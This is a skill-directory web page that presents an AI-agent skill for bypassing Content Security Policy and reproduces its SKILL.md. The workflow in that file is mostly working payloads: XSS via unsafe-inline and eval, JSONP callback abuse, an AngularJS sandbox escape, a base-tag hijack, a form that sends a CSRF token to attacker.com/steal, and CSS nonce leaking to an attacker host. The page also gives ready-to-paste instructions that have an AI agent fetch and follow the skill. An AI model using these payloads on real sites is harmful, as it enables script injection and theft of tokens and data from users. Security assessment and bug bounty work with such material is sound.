Skip to content
Skillpedia
Security35k · #6047

performing-content-security-policy-bypass

Teaches your AI agent to protect apps against attacks.

What it does

This tool helps find and exploit weaknesses in a website's security settings (called Content Security Policy - CSP) to execute malicious code, even when the site tries to prevent it.

When to use it

  • ✓When you find malicious code that the website blocks.
  • ✓When testing website security to see if the security policy is strong.
  • ✓During bug bounty hunting where the security policy prevents the attack.

Example of what to ask your AI

“How can I try to bypass this website's security policy to execute a script?”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-content-security-policy-bypass/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-content-security-policy-bypass/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The tool analyzes the website's security rules and looks for known loopholes, such as allowing direct scripts or using external services insecurely. It attempts to exploit these loopholes to execute code.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-content-security-policy-bypass

Or download just the file:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-content-security-policy-bypass/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Performing Content Security Policy Bypass

When to Use

  • When XSS is found but execution is blocked by Content Security Policy
  • During web application security assessments to evaluate CSP effectiveness
  • When testing the robustness of CSP against known bypass techniques
  • During bug bounty hunting where CSP prevents direct XSS exploitation
  • When auditing CSP header configuration for security weaknesses

Prerequisites

  • Burp Suite for intercepting responses and analyzing CSP headers
  • CSP Evaluator (Google) for automated policy analysis
  • Understanding of CSP directives (script-src, default-src, style-src, etc.)
  • Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)
  • Browser developer tools for CSP violation monitoring
  • Collection of whitelisted domain JSONP endpoints

Workflow

Step 1 — Analyze the CSP Policy

# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"

# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"

# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis

# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly

# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'

Step 2 — Exploit unsafe-inline and unsafe-eval

# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">

# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>

# If 'unsafe-inline' with nonce:
# unsafe-inline is ignored when nonce is present (CSP3)
# Focus on nonce leaking instead

Step 3 — Exploit Whitelisted Domain JSONP Endpoints

# If CSP whitelists a domain with JSONP endpoints:
# script-src 'self' https://accounts.google.com

# Find JSONP endpoints on whitelisted domains
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

# Common JSONP endpoints:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js

# If AngularJS is whitelisted (CDN):
# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

# Exploit JSONP on whitelisted APIs
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>

Step 4 — Exploit base-uri and Form Action Bypasses

# If base-uri is not restricted:
# Inject <base> tag to redirect relative script loads
<base href="https://attacker.com/">
# All relative script src will load from attacker.com

# If form-action is not restricted:
# Steal data via form submission
<form action="https://attacker.com/steal" method="POST">
  <input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>

# If object-src is not restricted:
# Use Flash or plugin-based XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">

Step 5 — Exploit Nonce and Hash Bypasses

# Nonce leaking via CSS attribute selectors
# If attacker can inject HTML (but not script due to CSP nonce):
<style>
  script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
  script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# Brute-force each character position to leak the nonce

# Nonce reuse detection
# If the same nonce is used across multiple pages or requests:
# Capture nonce from one page, use it to inject script on another

# DOM clobbering to override nonce checking
<form id="csp"><input name="nonce" value="attacker-controlled"></form>

# Script gadgets in whitelisted libraries
# If a whitelisted JS library has a gadget that creates scripts:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# DOMPurify bypass via prototype pollution

…
FAQ

What is Content Security Policy (CSP)?

It's a security layer websites use to tell the browser which content sources (like scripts and images) are allowed and which are not, helping to prevent attacks.

What are 'unsafe-inline' and 'unsafe-eval'?

These are permissions within CSP that, if enabled, weaken security by allowing inline script execution ('unsafe-inline') or dynamically generated JavaScript execution ('unsafe-eval').

What is JSONP?

It's an older technique that allows loading data from a different domain but can be exploited to execute code if not configured correctly and if the domain is allowed by CSP.

Details

Original description by the author

Analyze Content-Security-Policy headers and bypass them to achieve cross-site scripting by exploiting unsafe-inline/unsafe-eval, whitelisted JSONP endpoints, base-uri and form-action gaps, and nonce/hash weaknesses, then exfiltrate data even without script-src control. Use during web application security assessments or bug bounty hunting when XSS is found but blocked by CSP, or when auditing CSP h

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularity

GitHub stars
35k
Ranking position
#6047
License
Apache-2.0
Updated
8/31/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills